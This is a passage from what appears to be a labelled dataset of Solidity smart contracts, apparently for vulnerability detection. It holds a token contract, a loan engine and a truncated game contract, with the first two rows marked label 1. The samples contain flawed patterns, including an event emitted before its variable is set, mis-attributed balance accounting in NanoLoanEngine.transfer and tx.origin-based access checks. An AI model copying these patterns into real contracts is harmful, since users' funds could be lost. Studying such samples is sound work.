source_codes
stringlengths 72
205k
| labels
int64 0
1
| __index_level_0__
int64 0
5.56k
|
---|---|---|
pragma solidity ^0.4.23;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract FreezableToken is StandardToken {
mapping (bytes32 => uint64) internal chains;
mapping (bytes32 => uint) internal freezings;
mapping (address => uint) internal freezingBalance;
event Freezed(address indexed to, uint64 release, uint amount);
event Released(address indexed owner, uint amount);
function balanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner) + freezingBalance[_owner];
}
function actualBalanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner);
}
function freezingBalanceOf(address _owner) public view returns (uint256 balance) {
return freezingBalance[_owner];
}
function freezingCount(address _addr) public view returns (uint count) {
uint64 release = chains[toKey(_addr, 0)];
while (release != 0) {
count++;
release = chains[toKey(_addr, release)];
}
}
function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) {
for (uint i = 0; i < _index + 1; i++) {
_release = chains[toKey(_addr, _release)];
if (_release == 0) {
return;
}
}
_balance = freezings[toKey(_addr, _release)];
}
function freezeTo(address _to, uint _amount, uint64 _until) public {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Transfer(msg.sender, _to, _amount);
emit Freezed(_to, _until, _amount);
}
function releaseOnce() public {
bytes32 headKey = toKey(msg.sender, 0);
uint64 head = chains[headKey];
require(head != 0);
require(uint64(block.timestamp) > head);
bytes32 currentKey = toKey(msg.sender, head);
uint64 next = chains[currentKey];
uint amount = freezings[currentKey];
delete freezings[currentKey];
balances[msg.sender] = balances[msg.sender].add(amount);
freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount);
if (next == 0) {
delete chains[headKey];
} else {
chains[headKey] = next;
delete chains[currentKey];
}
emit Released(msg.sender, amount);
}
function releaseAll() public returns (uint tokens) {
uint release;
uint balance;
(release, balance) = getFreezing(msg.sender, 0);
while (release != 0 && block.timestamp > release) {
releaseOnce();
tokens += balance;
(release, balance) = getFreezing(msg.sender, 0);
}
}
function toKey(address _addr, uint _release) internal pure returns (bytes32 result) {
result = 0x5749534800000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_addr, 0x10000000000000000))
result := or(result, _release)
}
}
function freeze(address _to, uint64 _until) internal {
require(_until > block.timestamp);
bytes32 key = toKey(_to, _until);
bytes32 parentKey = toKey(_to, uint64(0));
uint64 next = chains[parentKey];
if (next == 0) {
chains[parentKey] = _until;
return;
}
bytes32 nextKey = toKey(_to, next);
uint parent;
while (next != 0 && _until > next) {
parent = next;
parentKey = nextKey;
next = chains[nextKey];
nextKey = toKey(_to, next);
}
if (_until == next) {
return;
}
if (next != 0) {
chains[key] = next;
}
chains[parentKey] = _until;
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract FreezableMintableToken is FreezableToken, MintableToken {
function mintAndFreeze(address _to, uint _amount, uint64 _until) public onlyOwner canMint returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Mint(_to, _amount);
emit Freezed(_to, _until, _amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
}
contract Consts {
uint public constant TOKEN_DECIMALS = 18;
uint8 public constant TOKEN_DECIMALS_UINT8 = 18;
uint public constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS;
string public constant TOKEN_NAME = "BALTHAZAR";
string public constant TOKEN_SYMBOL = "BLTZ";
bool public constant PAUSED = false;
address public constant TARGET_USER = 0xcd73B5ef5280CB04Cd91Fd1df96B31EB256423Fc;
bool public constant CONTINUE_MINTING = true;
}
contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable
{
event Initialized();
bool public initialized = false;
constructor() public {
init();
transferOwnership(TARGET_USER);
}
function name() public pure returns (string _name) {
return TOKEN_NAME;
}
function symbol() public pure returns (string _symbol) {
return TOKEN_SYMBOL;
}
function decimals() public pure returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transfer(_to, _value);
}
function init() private {
require(!initialized);
initialized = true;
if (PAUSED) {
pause();
}
if (!CONTINUE_MINTING) {
finishMinting();
}
emit Initialized();
}
} | 1 | 3,607 |
pragma solidity ^0.4.19;
contract Engine {
uint256 public VERSION;
string public VERSION_NAME;
enum Status { initial, lent, paid, destroyed }
struct Approbation {
bool approved;
bytes data;
bytes32 checksum;
}
function getTotalLoans() public view returns (uint256);
function getOracle(uint index) public view returns (Oracle);
function getBorrower(uint index) public view returns (address);
function getCosigner(uint index) public view returns (address);
function ownerOf(uint256) public view returns (address owner);
function getCreator(uint index) public view returns (address);
function getAmount(uint index) public view returns (uint256);
function getPaid(uint index) public view returns (uint256);
function getDueTime(uint index) public view returns (uint256);
function getApprobation(uint index, address _address) public view returns (bool);
function getStatus(uint index) public view returns (Status);
function isApproved(uint index) public view returns (bool);
function getPendingAmount(uint index) public returns (uint256);
function getCurrency(uint index) public view returns (bytes32);
function cosign(uint index, uint256 cost) external returns (bool);
function approveLoan(uint index) public returns (bool);
function transfer(address to, uint256 index) public returns (bool);
function takeOwnership(uint256 index) public returns (bool);
function withdrawal(uint index, address to, uint256 amount) public returns (bool);
}
contract Cosigner {
uint256 public constant VERSION = 2;
function url() public view returns (string);
function cost(address engine, uint256 index, bytes data, bytes oracleData) public view returns (uint256);
function requestCosign(Engine engine, uint256 index, bytes data, bytes oracleData) public returns (bool);
function claim(address engine, uint256 index, bytes oracleData) public returns (bool);
}
contract ERC721 {
function name() public view returns (string _name);
function symbol() public view returns (string _symbol);
function totalSupply() public view returns (uint256 _totalSupply);
function balanceOf(address _owner) public view returns (uint _balance);
function ownerOf(uint256) public view returns (address owner);
function approve(address, uint256) public returns (bool);
function takeOwnership(uint256) public returns (bool);
function transfer(address, uint256) public returns (bool);
function setApprovalForAll(address _operator, bool _approved) public returns (bool);
function getApproved(uint256 _tokenId) public view returns (address);
function isApprovedForAll(address _owner, address _operator) public view returns (bool);
function tokenMetadata(uint256 _tokenId) public view returns (string info);
event Transfer(address indexed _from, address indexed _to, uint256 _tokenId);
event Approval(address indexed _owner, address indexed _approved, uint256 _tokenId);
event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved);
}
contract Token {
function transfer(address _to, uint _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public view returns (uint256 remaining);
function approve(address _spender, uint256 _value) public returns (bool success);
function increaseApproval (address _spender, uint _addedValue) public returns (bool success);
function balanceOf(address _owner) public view returns (uint256 balance);
}
contract Ownable {
address public owner;
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function Ownable() public {
owner = msg.sender;
}
function transferTo(address _to) public onlyOwner returns (bool) {
require(_to != address(0));
owner = _to;
return true;
}
}
contract Oracle is Ownable {
uint256 public constant VERSION = 3;
event NewSymbol(bytes32 _currency, string _ticker);
struct Symbol {
string ticker;
bool supported;
}
mapping(bytes32 => Symbol) public currencies;
function url() public view returns (string);
function getRate(bytes32 symbol, bytes data) public returns (uint256 rate, uint256 decimals);
function addCurrency(string ticker) public onlyOwner returns (bytes32) {
NewSymbol(currency, ticker);
bytes32 currency = keccak256(ticker);
currencies[currency] = Symbol(ticker, true);
return currency;
}
function supported(bytes32 symbol) public view returns (bool) {
return currencies[symbol].supported;
}
}
contract RpSafeMath {
function safeAdd(uint256 x, uint256 y) internal pure returns(uint256) {
uint256 z = x + y;
require((z >= x) && (z >= y));
return z;
}
function safeSubtract(uint256 x, uint256 y) internal pure returns(uint256) {
require(x >= y);
uint256 z = x - y;
return z;
}
function safeMult(uint256 x, uint256 y) internal pure returns(uint256) {
uint256 z = x * y;
require((x == 0)||(z/x == y));
return z;
}
function min(uint256 a, uint256 b) internal pure returns(uint256) {
if (a < b) {
return a;
} else {
return b;
}
}
function max(uint256 a, uint256 b) internal pure returns(uint256) {
if (a > b) {
return a;
} else {
return b;
}
}
}
contract TokenLockable is RpSafeMath, Ownable {
mapping(address => uint256) public lockedTokens;
function lockTokens(address token, uint256 amount) internal {
lockedTokens[token] = safeAdd(lockedTokens[token], amount);
}
function unlockTokens(address token, uint256 amount) internal {
lockedTokens[token] = safeSubtract(lockedTokens[token], amount);
}
function withdrawTokens(Token token, address to, uint256 amount) public onlyOwner returns (bool) {
require(safeSubtract(token.balanceOf(this), lockedTokens[token]) >= amount);
require(to != address(0));
return token.transfer(to, amount);
}
}
contract NanoLoanEngine is ERC721, Engine, Ownable, TokenLockable {
uint256 constant internal PRECISION = (10**18);
uint256 constant internal RCN_DECIMALS = 18;
uint256 public constant VERSION = 232;
string public constant VERSION_NAME = "Basalt";
uint256 private activeLoans = 0;
mapping(address => uint256) private lendersBalance;
function name() public view returns (string _name) {
_name = "RCN - Nano loan engine - Basalt 232";
}
function symbol() public view returns (string _symbol) {
_symbol = "RCN-NLE-232";
}
function totalSupply() public view returns (uint _totalSupply) {
_totalSupply = activeLoans;
}
function balanceOf(address _owner) public view returns (uint _balance) {
_balance = lendersBalance[_owner];
}
function tokensOfOwner(address _owner) external view returns(uint256[] ownerTokens) {
uint256 tokenCount = balanceOf(_owner);
if (tokenCount == 0) {
return new uint256[](0);
} else {
uint256[] memory result = new uint256[](tokenCount);
uint256 totalLoans = loans.length - 1;
uint256 resultIndex = 0;
uint256 loanId;
for (loanId = 0; loanId <= totalLoans; loanId++) {
if (loans[loanId].lender == _owner && loans[loanId].status == Status.lent) {
result[resultIndex] = loanId;
resultIndex++;
}
}
return result;
}
}
function isApprovedForAll(address _owner, address _operator) public view returns (bool) {
return operators[_owner][_operator];
}
function tokenMetadata(uint256 index) public view returns (string) {
return loans[index].metadata;
}
function tokenMetadataHash(uint256 index) public view returns (bytes32) {
return keccak256(loans[index].metadata);
}
Token public rcn;
bool public deprecated;
event CreatedLoan(uint _index, address _borrower, address _creator);
event ApprovedBy(uint _index, address _address);
event Lent(uint _index, address _lender, address _cosigner);
event DestroyedBy(uint _index, address _address);
event PartialPayment(uint _index, address _sender, address _from, uint256 _amount);
event TotalPayment(uint _index);
function NanoLoanEngine(Token _rcn) public {
owner = msg.sender;
rcn = _rcn;
loans.length++;
}
struct Loan {
Status status;
Oracle oracle;
address borrower;
address lender;
address creator;
address cosigner;
uint256 amount;
uint256 interest;
uint256 punitoryInterest;
uint256 interestTimestamp;
uint256 paid;
uint256 interestRate;
uint256 interestRatePunitory;
uint256 dueTime;
uint256 duesIn;
bytes32 currency;
uint256 cancelableAt;
uint256 lenderBalance;
address approvedTransfer;
uint256 expirationRequest;
string metadata;
mapping(address => bool) approbations;
}
mapping(address => mapping(address => bool)) private operators;
mapping(bytes32 => uint256) public identifierToIndex;
Loan[] private loans;
function createLoan(Oracle _oracleContract, address _borrower, bytes32 _currency, uint256 _amount, uint256 _interestRate,
uint256 _interestRatePunitory, uint256 _duesIn, uint256 _cancelableAt, uint256 _expirationRequest, string _metadata) public returns (uint256) {
require(!deprecated);
require(_cancelableAt <= _duesIn);
require(_oracleContract != address(0) || _currency == 0x0);
require(_borrower != address(0));
require(_amount != 0);
require(_interestRatePunitory != 0);
require(_interestRate != 0);
require(_expirationRequest > block.timestamp);
var loan = Loan(Status.initial, _oracleContract, _borrower, 0x0, msg.sender, 0x0, _amount, 0, 0, 0, 0, _interestRate,
_interestRatePunitory, 0, _duesIn, _currency, _cancelableAt, 0, 0x0, _expirationRequest, _metadata);
uint index = loans.push(loan) - 1;
CreatedLoan(index, _borrower, msg.sender);
bytes32 identifier = getIdentifier(index);
require(identifierToIndex[identifier] == 0);
identifierToIndex[identifier] = index;
if (msg.sender == _borrower) {
approveLoan(index);
}
return index;
}
function ownerOf(uint256 index) public view returns (address owner) { owner = loans[index].lender; }
function getTotalLoans() public view returns (uint256) { return loans.length; }
function getOracle(uint index) public view returns (Oracle) { return loans[index].oracle; }
function getBorrower(uint index) public view returns (address) { return loans[index].borrower; }
function getCosigner(uint index) public view returns (address) { return loans[index].cosigner; }
function getCreator(uint index) public view returns (address) { return loans[index].creator; }
function getAmount(uint index) public view returns (uint256) { return loans[index].amount; }
function getPunitoryInterest(uint index) public view returns (uint256) { return loans[index].punitoryInterest; }
function getInterestTimestamp(uint index) public view returns (uint256) { return loans[index].interestTimestamp; }
function getPaid(uint index) public view returns (uint256) { return loans[index].paid; }
function getInterestRate(uint index) public view returns (uint256) { return loans[index].interestRate; }
function getInterestRatePunitory(uint index) public view returns (uint256) { return loans[index].interestRatePunitory; }
function getDueTime(uint index) public view returns (uint256) { return loans[index].dueTime; }
function getDuesIn(uint index) public view returns (uint256) { return loans[index].duesIn; }
function getCancelableAt(uint index) public view returns (uint256) { return loans[index].cancelableAt; }
function getApprobation(uint index, address _address) public view returns (bool) { return loans[index].approbations[_address]; }
function getStatus(uint index) public view returns (Status) { return loans[index].status; }
function getLenderBalance(uint index) public view returns (uint256) { return loans[index].lenderBalance; }
function getApproved(uint index) public view returns (address) {return loans[index].approvedTransfer; }
function getCurrency(uint index) public view returns (bytes32) { return loans[index].currency; }
function getExpirationRequest(uint index) public view returns (uint256) { return loans[index].expirationRequest; }
function getInterest(uint index) public view returns (uint256) { return loans[index].interest; }
function getIdentifier(uint index) public view returns (bytes32) {
Loan memory loan = loans[index];
return buildIdentifier(loan.oracle, loan.borrower, loan.creator, loan.currency, loan.amount, loan.interestRate,
loan.interestRatePunitory, loan.duesIn, loan.cancelableAt, loan.expirationRequest, loan.metadata);
}
function buildIdentifier(Oracle oracle, address borrower, address creator, bytes32 currency, uint256 amount, uint256 interestRate,
uint256 interestRatePunitory, uint256 duesIn, uint256 cancelableAt, uint256 expirationRequest, string metadata) view returns (bytes32) {
return keccak256(this, oracle, borrower, creator, currency, amount, interestRate, interestRatePunitory, duesIn,
cancelableAt, expirationRequest, metadata);
}
function isApproved(uint index) public view returns (bool) {
Loan storage loan = loans[index];
return loan.approbations[loan.borrower];
}
function approveLoan(uint index) public returns(bool) {
Loan storage loan = loans[index];
require(loan.status == Status.initial);
loan.approbations[msg.sender] = true;
ApprovedBy(index, msg.sender);
return true;
}
function approveLoanIdentifier(bytes32 identifier) public returns (bool) {
uint256 index = identifierToIndex[identifier];
require(index != 0);
return approveLoan(index);
}
function registerApprove(bytes32 identifier, uint8 v, bytes32 r, bytes32 s) public returns (bool) {
uint256 index = identifierToIndex[identifier];
require(index != 0);
Loan storage loan = loans[index];
require(loan.borrower == ecrecover(keccak256("\x19Ethereum Signed Message:\n32", identifier), v, r, s));
loan.approbations[loan.borrower] = true;
ApprovedBy(index, loan.borrower);
return true;
}
function lend(uint index, bytes oracleData, Cosigner cosigner, bytes cosignerData) public returns (bool) {
Loan storage loan = loans[index];
require(loan.status == Status.initial);
require(isApproved(index));
require(block.timestamp <= loan.expirationRequest);
loan.lender = msg.sender;
loan.dueTime = safeAdd(block.timestamp, loan.duesIn);
loan.interestTimestamp = block.timestamp;
loan.status = Status.lent;
Transfer(0x0, loan.lender, index);
activeLoans += 1;
lendersBalance[loan.lender] += 1;
if (loan.cancelableAt > 0)
internalAddInterest(loan, safeAdd(block.timestamp, loan.cancelableAt));
uint256 transferValue = convertRate(loan.oracle, loan.currency, oracleData, loan.amount);
require(rcn.transferFrom(msg.sender, loan.borrower, transferValue));
if (cosigner != address(0)) {
loan.cosigner = address(uint256(cosigner) + 2);
require(cosigner.requestCosign(this, index, cosignerData, oracleData));
require(loan.cosigner == address(cosigner));
}
Lent(index, loan.lender, cosigner);
return true;
}
function cosign(uint index, uint256 cost) external returns (bool) {
Loan storage loan = loans[index];
require(loan.status == Status.lent && (loan.dueTime - loan.duesIn) == block.timestamp);
require(loan.cosigner != address(0));
require(loan.cosigner == address(uint256(msg.sender) + 2));
loan.cosigner = msg.sender;
require(rcn.transferFrom(loan.lender, msg.sender, cost));
return true;
}
function destroy(uint index) public returns (bool) {
Loan storage loan = loans[index];
require(loan.status != Status.destroyed);
require(msg.sender == loan.lender || (msg.sender == loan.borrower && loan.status == Status.initial));
DestroyedBy(index, msg.sender);
if (loan.status != Status.initial) {
lendersBalance[loan.lender] -= 1;
activeLoans -= 1;
Transfer(loan.lender, 0x0, index);
}
loan.status = Status.destroyed;
return true;
}
function destroyIdentifier(bytes32 identifier) public returns (bool) {
uint256 index = identifierToIndex[identifier];
require(index != 0);
return destroy(index);
}
function transfer(address to, uint256 index) public returns (bool) {
Loan storage loan = loans[index];
require(msg.sender == loan.lender || msg.sender == loan.approvedTransfer || operators[loan.lender][msg.sender]);
require(to != address(0));
loan.lender = to;
loan.approvedTransfer = address(0);
lendersBalance[msg.sender] -= 1;
lendersBalance[to] += 1;
Transfer(loan.lender, to, index);
return true;
}
function takeOwnership(uint256 _index) public returns (bool) {
return transfer(msg.sender, _index);
}
function transferFrom(address from, address to, uint256 index) public returns (bool) {
require(loans[index].lender == from);
return transfer(to, index);
}
function approve(address to, uint256 index) public returns (bool) {
Loan storage loan = loans[index];
require(msg.sender == loan.lender);
loan.approvedTransfer = to;
Approval(msg.sender, to, index);
return true;
}
function setApprovalForAll(address _operator, bool _approved) public returns (bool) {
operators[msg.sender][_operator] = _approved;
ApprovalForAll(msg.sender, _operator, _approved);
return true;
}
function getPendingAmount(uint index) public returns (uint256) {
addInterest(index);
return getRawPendingAmount(index);
}
function getRawPendingAmount(uint index) public view returns (uint256) {
Loan memory loan = loans[index];
return safeSubtract(safeAdd(safeAdd(loan.amount, loan.interest), loan.punitoryInterest), loan.paid);
}
function calculateInterest(uint256 timeDelta, uint256 interestRate, uint256 amount) internal pure returns (uint256 realDelta, uint256 interest) {
if (amount == 0) {
interest = 0;
realDelta = timeDelta;
} else {
interest = safeMult(safeMult(100000, amount), timeDelta) / interestRate;
realDelta = safeMult(interest, interestRate) / (amount * 100000);
}
}
function internalAddInterest(Loan storage loan, uint256 timestamp) internal {
if (timestamp > loan.interestTimestamp) {
uint256 newInterest = loan.interest;
uint256 newPunitoryInterest = loan.punitoryInterest;
uint256 newTimestamp;
uint256 realDelta;
uint256 calculatedInterest;
uint256 deltaTime;
uint256 pending;
uint256 endNonPunitory = min(timestamp, loan.dueTime);
if (endNonPunitory > loan.interestTimestamp) {
deltaTime = endNonPunitory - loan.interestTimestamp;
if (loan.paid < loan.amount) {
pending = loan.amount - loan.paid;
} else {
pending = 0;
}
(realDelta, calculatedInterest) = calculateInterest(deltaTime, loan.interestRate, pending);
newInterest = safeAdd(calculatedInterest, newInterest);
newTimestamp = loan.interestTimestamp + realDelta;
}
if (timestamp > loan.dueTime) {
uint256 startPunitory = max(loan.dueTime, loan.interestTimestamp);
deltaTime = timestamp - startPunitory;
uint256 debt = safeAdd(loan.amount, newInterest);
pending = min(debt, safeSubtract(safeAdd(debt, newPunitoryInterest), loan.paid));
(realDelta, calculatedInterest) = calculateInterest(deltaTime, loan.interestRatePunitory, pending);
newPunitoryInterest = safeAdd(newPunitoryInterest, calculatedInterest);
newTimestamp = startPunitory + realDelta;
}
if (newInterest != loan.interest || newPunitoryInterest != loan.punitoryInterest) {
loan.interestTimestamp = newTimestamp;
loan.interest = newInterest;
loan.punitoryInterest = newPunitoryInterest;
}
}
}
function addInterest(uint index) public returns (bool) {
Loan storage loan = loans[index];
require(loan.status == Status.lent);
internalAddInterest(loan, block.timestamp);
}
function pay(uint index, uint256 _amount, address _from, bytes oracleData) public returns (bool) {
Loan storage loan = loans[index];
require(loan.status == Status.lent);
addInterest(index);
uint256 toPay = min(getPendingAmount(index), _amount);
PartialPayment(index, msg.sender, _from, toPay);
loan.paid = safeAdd(loan.paid, toPay);
if (getRawPendingAmount(index) == 0) {
TotalPayment(index);
loan.status = Status.paid;
lendersBalance[loan.lender] -= 1;
activeLoans -= 1;
Transfer(loan.lender, 0x0, index);
}
uint256 transferValue = convertRate(loan.oracle, loan.currency, oracleData, toPay);
require(transferValue > 0 || toPay < _amount);
lockTokens(rcn, transferValue);
require(rcn.transferFrom(msg.sender, this, transferValue));
loan.lenderBalance = safeAdd(transferValue, loan.lenderBalance);
return true;
}
function convertRate(Oracle oracle, bytes32 currency, bytes data, uint256 amount) public returns (uint256) {
if (oracle == address(0)) {
return amount;
} else {
uint256 rate;
uint256 decimals;
(rate, decimals) = oracle.getRate(currency, data);
require(decimals <= RCN_DECIMALS);
return (safeMult(safeMult(amount, rate), (10**(RCN_DECIMALS-decimals)))) / PRECISION;
}
}
function withdrawal(uint index, address to, uint256 amount) public returns (bool) {
Loan storage loan = loans[index];
require(msg.sender == loan.lender);
loan.lenderBalance = safeSubtract(loan.lenderBalance, amount);
require(rcn.transfer(to, amount));
unlockTokens(rcn, amount);
return true;
}
function withdrawalList(uint256[] memory loanIds, address to) public returns (uint256) {
uint256 inputId;
uint256 totalWithdraw = 0;
for (inputId = 0; inputId < loanIds.length; inputId++) {
Loan storage loan = loans[loanIds[inputId]];
if (loan.lender == msg.sender) {
totalWithdraw += loan.lenderBalance;
loan.lenderBalance = 0;
}
}
require(rcn.transfer(to, totalWithdraw));
unlockTokens(rcn, totalWithdraw);
return totalWithdraw;
}
function setDeprecated(bool _deprecated) public onlyOwner {
deprecated = _deprecated;
}
} | 1 | 3,527 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
}
contract PullPayment {
using SafeMath for uint256;
mapping(address => uint256) public payments;
uint256 public totalPayments;
function withdrawPayments() public {
address payee = msg.sender;
uint256 payment = payments[payee];
require(payment != 0);
require(address(this).balance >= payment);
totalPayments = totalPayments.sub(payment);
payments[payee] = 0;
payee.transfer(payment);
}
function asyncSend(address dest, uint256 amount) internal {
payments[dest] = payments[dest].add(amount);
totalPayments = totalPayments.add(amount);
}
}
contract CryptoMiningWarInterface {
address public sponsor;
address public administrator;
mapping(address => PlayerData) public players;
struct PlayerData {
uint256 roundNumber;
mapping(uint256 => uint256) minerCount;
uint256 hashrate;
uint256 crystals;
uint256 lastUpdateTime;
uint256 referral_count;
uint256 noQuest;
}
function getHashratePerDay(address ) public pure returns (uint256 ) {}
function addCrystal( address , uint256 ) public pure {}
function subCrystal( address , uint256 ) public pure {}
function fallback() public payable {}
}
interface MiniGameInterface {
function isContractMiniGame() external pure returns( bool _isContractMiniGame );
function fallback() external payable;
}
contract CryptoEngineer is PullPayment{
address public administrator;
uint256 public prizePool = 0;
uint256 public engineerRoundNumber = 0;
uint256 public numberOfEngineer;
uint256 public numberOfBoosts;
address public gameSponsor;
uint256 public gameSponsorPrice;
uint256 private randNonce;
uint256 constant public VIRUS_MINING_PERIOD = 86400;
uint256 constant public VIRUS_NORMAL = 0;
uint256 constant public HALF_TIME_ATK = 60 * 15;
address public miningWarContractAddress;
address public miningWarAdministrator;
uint256 constant public CRTSTAL_MINING_PERIOD = 86400;
uint256 constant public BASE_PRICE = 0.01 ether;
CryptoMiningWarInterface public MiningWarContract;
mapping(address => PlayerData) public players;
mapping(uint256 => BoostData) public boostData;
mapping(uint256 => EngineerData) public engineers;
mapping(uint256 => VirusData) public virus;
mapping(address => bool) public miniGames;
struct PlayerData {
uint256 engineerRoundNumber;
mapping(uint256 => uint256) engineersCount;
uint256 virusNumber;
uint256 virusDefence;
uint256 research;
uint256 lastUpdateTime;
uint256 nextTimeAtk;
uint256 endTimeUnequalledDef;
}
struct BoostData {
address owner;
uint256 boostRate;
uint256 basePrice;
}
struct EngineerData {
uint256 basePrice;
uint256 baseETH;
uint256 baseResearch;
uint256 limit;
}
struct VirusData {
uint256 atk;
uint256 def;
}
event eventEndAttack(
address playerAtk,
address playerDef,
bool isWin,
uint256 winCrystals,
uint256 virusPlayerAtkDead,
uint256 virusPlayerDefDead,
uint256 timeAtk,
uint256 engineerRoundNumber,
uint256 atk,
uint256 def
);
modifier disableContract()
{
require(tx.origin == msg.sender);
_;
}
modifier isAdministrator()
{
require(msg.sender == administrator);
_;
}
modifier onlyContractsMiniGame()
{
require(miniGames[msg.sender] == true);
_;
}
constructor() public {
administrator = msg.sender;
gameSponsor = administrator;
gameSponsorPrice = 0.32 ether;
miningWarContractAddress = address(0xf84c61bb982041c030b8580d1634f00fffb89059);
MiningWarContract = CryptoMiningWarInterface(miningWarContractAddress);
miningWarAdministrator = MiningWarContract.administrator();
numberOfEngineer = 8;
numberOfBoosts = 5;
virus[VIRUS_NORMAL] = VirusData(1,1);
engineers[0] = EngineerData(10, BASE_PRICE * 0, 10, 10 );
engineers[1] = EngineerData(50, BASE_PRICE * 1, 200, 2 );
engineers[2] = EngineerData(200, BASE_PRICE * 2, 800, 4 );
